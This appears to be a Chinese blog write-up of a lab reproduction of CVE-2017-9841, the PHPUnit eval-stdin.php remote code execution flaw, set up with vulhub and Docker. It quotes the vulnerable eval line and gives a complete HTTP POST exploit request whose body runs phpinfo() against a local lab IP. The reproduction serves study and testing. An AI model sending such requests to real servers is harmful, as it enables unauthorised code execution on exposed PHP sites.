phpunit远程代码执⾏漏洞(CVE-2017-9841)
声明
好好学习,天天向上
漏洞描述
composer是php包管理⼯具,使⽤composer安装扩展包将会在当前⽬录创建⼀个vendor⽂件夹,并将所有⽂件放在其中。通常这个⽬录需要放在web⽬录外,使⽤户不能直接访问。
phpunit是php中的单元测试⼯具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-
stdin.php⽂件有如下代码:
eval('?>'.file_get_contents('php://input'));
如果该⽂件被⽤户直接访问到,将造成远程代码执⾏漏洞。
影响范围
4.8.19 ~ 4.8.27
5.0.10 ~ 5.
6.2
复现过程
这⾥使⽤5.6.2版本
使⽤vulhub
/app/vulhub-master/phpunit/CVE-2017-9841
使⽤docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
php如何运行代码
192.168.239.129:8080
访问
192.168.239.129:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
抓包
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 192.168.239.129:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
<?php phpinfo();?>
关闭镜像(每次⽤完后关闭)
docker-compose down
docker-compose常⽤命令
拉镜像(进⼊到vulhub某个具体⽬录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第⼀列就是ID值)
docker ps -a
进⼊指定镜像⾥⾯(根据上⼀条查出的ID进⼊)docker exec -it ID /bin/bash
关闭镜像(每次⽤完后关闭)
docker-compose down
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论